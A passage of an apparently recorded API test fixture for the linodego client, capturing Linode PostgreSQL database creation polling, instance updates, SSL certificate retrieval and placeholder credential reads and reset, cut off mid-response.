'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:09:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:09:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:09:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:09:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:10:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:10:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:10:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 903, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "474" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:10:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances?page=1 method: GET response: body: '{"data": [{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 18, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:10:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: GET response: body: '{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 18, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "845" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:10:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-postgres-testing-defg02323nvin1r-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":4,"frequency":"weekly","hour_of_day":8}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: PUT response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r-updated", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:10:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":210830,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934289808, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 0, "action": "database_update", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "472" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:11:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "852" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:11:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830/ssl method: GET response: body: '{"ca_certificate": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVRVENDQXFtZ0F3SUJBZ0lVSGw2WFlseHA0MTFpVUMwU294VkYzUmpkUXpBd0RRWUpLb1pJaHZjTkFRRU0KQlFBd09qRTRNRFlHQTFVRUF3d3ZZakF3TkRoaU4yRXRPR0ZrWVMwMFpUWXlMV0UyTXprdFpEazROakU1WXpJeApaR1ZsSUZCeWIycGxZM1FnUTBFd0hoY05NalF4TVRBMk1Ua3hOVFV5V2hjTk16UXhNVEEwTVRreE5UVXlXakE2Ck1UZ3dOZ1lEVlFRRERDOWlNREEwT0dJM1lTMDRZV1JoTFRSbE5qSXRZVFl6T1Mxa09UZzJNVGxqTWpGa1pXVWcKVUhKdmFtVmpkQ0JEUVRDQ0FhSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnR1BBRENDQVlvQ2dnR0JBTXUrMXNuVQpYdXplSUI3U05ReUE5K0JFdkFJYzNKeThRVm1aTmRYWFdVRzUvZlZ3SXZsdVNwaW40SVZuSFpGclJadjNXdmM5CllQbTRQdmxBZEZFcy9qek4wZ3RhNnlVeEJES09YRHBJVksxZU0xbHIrUWNvczQ1blk2cWVXa2xBOThGbFFPQkYKWkk1elkvVU1vLzk3WElINmVQVllzeWQ2dHM0MEp0SjBDYUcyVXBBSUJuOU5QYnRJTFk1a1ZkRGlVdHFSbm55MQpHdmY3N2M3ZkxVYVRkWi9TRUwveGl0S1B5M24zZGFaOG5qUmMzNXlLbWthOElxZXlIS3NqNVc4azMvem1UVlB0Clkvc3ZPcGVCOU5FeHMvenlZZzJFOHp3bGtzUDZwTE85N0hnWXdLNFJPcmZHMUJYLzVFZUhkL29xbHB2dnBLdzUKRklMUVpWRk9jVGFyTm5XdERwa2VKRW5zWmpFd0Y2MTJzNjZHei9GYzF4N1RSdkhEMmQ0MXE0M1pvOXN6bHpETwprWkxrOXZSNUxlZmFSaW9uUnJlYktSR1NzK0tuQlN0aTA0UlpsSGt0ZzZ0dmN1MHdIT05OdG1RODVRTUcvMTJKClJEcXZsMG1IQTR3cXNDUi9RK3Zkc3k3MkprWEFIakFpd0o1bzBwdVNEYTBzUVZzSHdlaGlXakkrelFJREFRQUIKb3o4d1BUQWRCZ05WSFE0RUZnUVVXVDg4RVhSaWRSSmFtOUtkK3RtU3BwTjI0aVF3RHdZRFZSMFRCQWd3QmdFQgovd0lCQURBTEJnTlZIUThFQkFNQ0FRWXdEUVlKS29aSWh2Y05BUUVNQlFBRGdnR0JBSjVKZWRRczJPUG9kd0pZClVzdDdhVWZUNFp1TWhEaWJEditBckdBblAzL3Rsa3JJeEMzMjhoai9ET1gvM3NSUm9xRDVEZm1IMUtBMGkxZEsKcU9QN0pIaUI4dkYrT2Q1MjgvMzFTeFg0cmlpRll5MlozQStHQ2xMRFYyTks3QXBjZXZSL09MUmdSKys5ZElmMQppVHRIczNpd2FNYUtBQ1JaaDFVcTMzU0hURE5URkhVVVJVbGUrM0YvS1J0YllCS1VHa3Vob3lzbE14TXM1aHFiCk5sdlZBdU8yY21ucHl0WWIrcmhseE5BWjZYMjdlODNnd21idUROcjdXaGJRd0xkN1U3Wnh3VlZWYitHTkxlYUkKQU5oMURsOXZLWnRRTFdjNExVZnQxZWZCbzR1MnlwSjRRckd6aHI4alVrQUhRWE4vSzgzaDVqQ2hXRzZjeUozQwpIRm9rZkdhdnF3MkdVS1AyRVc0SkJVQ0VaMTRYUEpjYW9HeTNEQmd3WDUxZ1VTMUsySlR2a0NrMXl0ckh4NzZqCkloMFVJZnFvTS9rNEw1K0Z2YmxsS1ZYaHhoSllBSVg2TndVRzlZRklhR1BUdVZUREFFQlV6L3lWd2VnUmNZcGcKWm0zMDJTbGMrWDlmamwrR2VQN3JWbWtBTmwyOHRYL1VVZG1SeTFlS1BxeDlQZGVEQ2c9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:11:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830/credentials method: GET response: body: '{"password": "@S3cur3P@ssw0rd", "username": "aCoolUsername"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "64" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:11:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830/credentials/reset method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE 